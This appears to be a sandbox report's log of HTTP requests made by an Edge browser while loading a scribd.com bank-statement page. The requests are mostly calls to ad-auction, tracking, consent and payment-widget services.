Source: global traffic	HTTP traffic detected: POST /api/282187/envelope/?sentry_key=21588782029b459685064c03453673ff&sentry_version=7&sentry_client=sentry.javascript.browser%2F7.19.0 HTTP/1.1Host: sentry.ioConnection: keep-aliveContent-Length: 510sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /record HTTP/1.1Host: consent.api.osano.comConnection: keep-aliveContent-Length: 226sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /?k=0&d=scribd.com&t=desktop&c=US&r=19 HTTP/1.1Host: optimise.netConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: x-api-key,x-lmOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /1d0fec24-9622-4770-a71d-6dd2fd3e4842/launchpad-liveramp.js HTTP/1.1Host: launchpad-wrapper.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /?k=0&d=scribd.com&t=desktop&c=US&r=19 HTTP/1.1Host: optimise.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-lm: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47x-api-key: 4e799501-b8b6-4ef1-bad5-225b3dd1aa8dsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v3/m-outer-3437aaddcdf6922d623e172c2d6f9278.html HTTP/1.1Host: js.stripe.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /v2/c HTTP/1.1Host: c.pub.networkConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /latest/launchpad.bundle.js HTTP/1.1Host: launchpad.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /qaKtxuL1KR_2Tfmz0NmPaAudsBc/gpt_and_prebid/config.js HTTP/1.1Host: cdn.confiant-integrations.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0013300001cFpYHAA0&gdpr=0&src=pbjs&ver=9.23.0&coppa=0 HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/pbhid?partner_id=474&_it=prebid&t=1&src=id&domain=www.scribd.com HTTP/1.1Host: id.hadron.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hadron.js?url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ref=&_it=freestar&partner_id=474&ha=_hadron HTTP/1.1Host: cdn.hadronid.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/identity/envelope?pid=106 HTTP/1.1Host: api.rlcdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /gallery.js HTTP/1.1Host: freestar-io.videoplayerhub.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=6bjin1p&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/config/prebid HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 167sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/config/prebid HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 167sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /f?apiKey=2111098132&r=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement HTTP/1.1Host: fid.agkn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /idex/did-0047/any?duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&did=did-0047&cd=.scribd.com&pu=https%3A%2F%2Fwww.scribd.com&resolve=nonId&resolve=uid2&resolve=index&resolve=bidswitch&resolve=pubmatic&resolve=magnite&resolve=openx&resolve=thetradedesk&resolve=medianet&resolve=triplelift HTTP/1.1Host: idx.liadm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /inner.html HTTP/1.1Host: m.stripe.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://js.stripe.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /cookie_sync HTTP/1.1Host: s2s.t13.ioConnection: keep-aliveContent-Length: 245sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /openrtb2/auction HTTP/1.1Host: s2s.t13.ioConnection: keep-aliveContent-Length: 1896sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /openrtb_2_5/pbjs/auction/request?profileId=207&av=37&wv=9.23.0&cb=16877948980&lsavail=1&networkId=6097 HTTP/1.1Host: grid-bidder.criteo.comConnection: keep-aliveContent-Length: 1778sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /prebid/multi/66bccd47a52481685a6ab90d HTTP/1.1Host: prebid.cootlogix.comConnection: keep-aliveContent-Length: 1342sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /v1/openrtb HTTP/1.1Host: ex.ingage.techConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/pbhid?partner_id=474&_it=prebid&t=1&src=id&domain=www.scribd.com HTTP/1.1Host: id.hadron.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /translator?source=prebid-client HTTP/1.1Host: hbopenbid.pubmatic.comConnection: keep-aliveContent-Length: 1961sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /openrtbb/prebidjs HTTP/1.1Host: rtb.openx.netConnection: keep-aliveContent-Length: 1850sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hbjson HTTP/1.1Host: grid.bidswitch.netConnection: keep-aliveContent-Length: 1371sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1726sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1725sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1726sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1726sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1726sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hb-multi HTTP/1.1Host: hb.yellowblue.ioConnection: keep-aliveContent-Length: 1720sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /header/auction?lib=prebid&v=9.23.0&referrer=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tmax=3000&us_privacy=1-N- HTTP/1.1Host: tlx.3lift.comConnection: keep-aliveContent-Length: 2664sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
